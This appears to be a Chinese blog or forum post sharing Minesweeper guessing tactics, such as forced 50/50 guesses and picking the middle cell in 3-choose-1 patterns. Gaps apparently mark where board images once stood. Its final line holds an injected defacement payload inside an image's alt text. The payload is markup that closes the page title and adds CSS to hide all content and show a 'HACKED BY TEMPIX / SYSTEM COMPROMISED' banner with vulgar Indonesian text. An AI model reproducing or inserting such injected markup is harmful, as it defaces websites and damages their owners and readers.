【前言】
在扫雷过程中我们经常会遇到很多猜雷的情况,2猜1、3猜1、4猜2等等。例如:









































































































如果跳过不理转移战场,以后再来处理,就不得不浪费两次鼠标移动的过程。
更可惜的是,之前积累下来的局部印象会浪费掉,以后回到这个地方时又要重新判断。
如果是死猜,比如边部2选1,往往犹豫了一会转移战场,再回来又要犹豫一会,最后还得猜。
如果最后就剩下这个地方没通,结果猜错了,岂不是要……
因此我想在这里说一些我总结的猜雷经验,希望能帮到有困惑的朋友。
当然,我说的不一定是最好的方案,如果你有更好的想法,欢迎回帖交流。
【猜雷的种类】
一般来说,猜雷情况分为两种:
1、死猜:绝对没有其他辅助条件可想的猜雷,常见的有以下几种:
边部2选1 4选2 封闭式2选1 封闭式3选1




















































































































2、过程猜:暂时判断条件不足,但随着扫雷过程的进展,有可能解出的猜雷,常见的有以下几种:
条形3选1 条形3选2 角形3选1/2


























































































【死猜】
死猜没有所谓正确的解法。因为几率都是对半开。所以碰到了就立刻猜,不要浪费时间。
但凭个人经验,边部2猜1时,靠边的方块不是雷的几率大些。
所以在遇到边部31组合猜时,我会毫不犹豫的点1旁边那个方块。
























不过在猜之前一定要确认这是死猜,如果有可能从旁边绕过去获得附加条件,就先不要猜。
有一种特殊的死猜,就是全封闭猜。常见于角部和边部:
边部全封闭 角部全封闭


















































死猜只有这种情况可以先扫其他地方,如果全部扫通游戏还没结束,那这个地方就肯定不是雷。
【过程猜】
过程猜是没有必要性的,如果局很好,最好选择其他道路,否则耽误了好局可就惨了。
但如果局面开得不是很顺利,那选择其他道路就更浪费时间了,不如放手一搏。
我总结出来的条形3选1和3选2经验都是“选中间”,不同的是3选1标中间的雷,3选2点中间的空

































































角形3选1/2共有四种可能性:
































































































































































可以看到理论上四个方块是雷的几率都是清一色的50%。那这里还会有什么技巧可言吗?
答案是有的,因为第四图的雷的分布过于密集,在中腹地带遇见的几率极小(印象中还没遇见过)。
所以仅从前三图来看,最靠近雷的方格是雷的几率最大,对角线是雷的几率最小。
在中腹遇见这种情况,我会选择标对角雷,在角部我会选择点对角空,然后根据空里的数字来结束局部判断。
















































































【猜雷思考模式】
下面以一个实例来说明在猜雷时的思考过程。













































上面这个局面的类似情况在开局时以及清扫局部角时经常遇见。
在遇见复杂的猜雷局面时,先迅速设想几种可能的雷的组成模式(一般只会有两三种可能):



























































































































































设想完毕后,有两种思路可以供判断使用:
1、优先设定雷数最少的那个方案
2、在局部有3选1或3选2时,选中间
通过第一种思路,可以看到第二种方案设定的雷数最少。
通过第二种思路,可以看到有一个3选1,选中间的话正式第二种方案。
所以最终我们选择第二种方案。
【后话】
关于猜雷,我的经验就介绍到这里,希望大家看完能有收获。
如有哪位朋友对猜雷有独到的经验心得,也请写出来与大家共享。
再次提醒:
我的经验并不一定正确,写这些东西仅供大家参考,不要当作教条。
虽然猜雷是没有定律的,但至少有一个定律是绝对正确的:
永远使用固定的方法猜雷,必定会有收获。如果每次猜雷方法不同,虽然有几率猜对更多,但更多时候是连猜连错。猜雷就是一个比拼韧性的过程,好比在沙漠中迷路,朝一个方向走到底,总有一天会走出头,但如果时而向南时而向北,则注定会走不出去。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)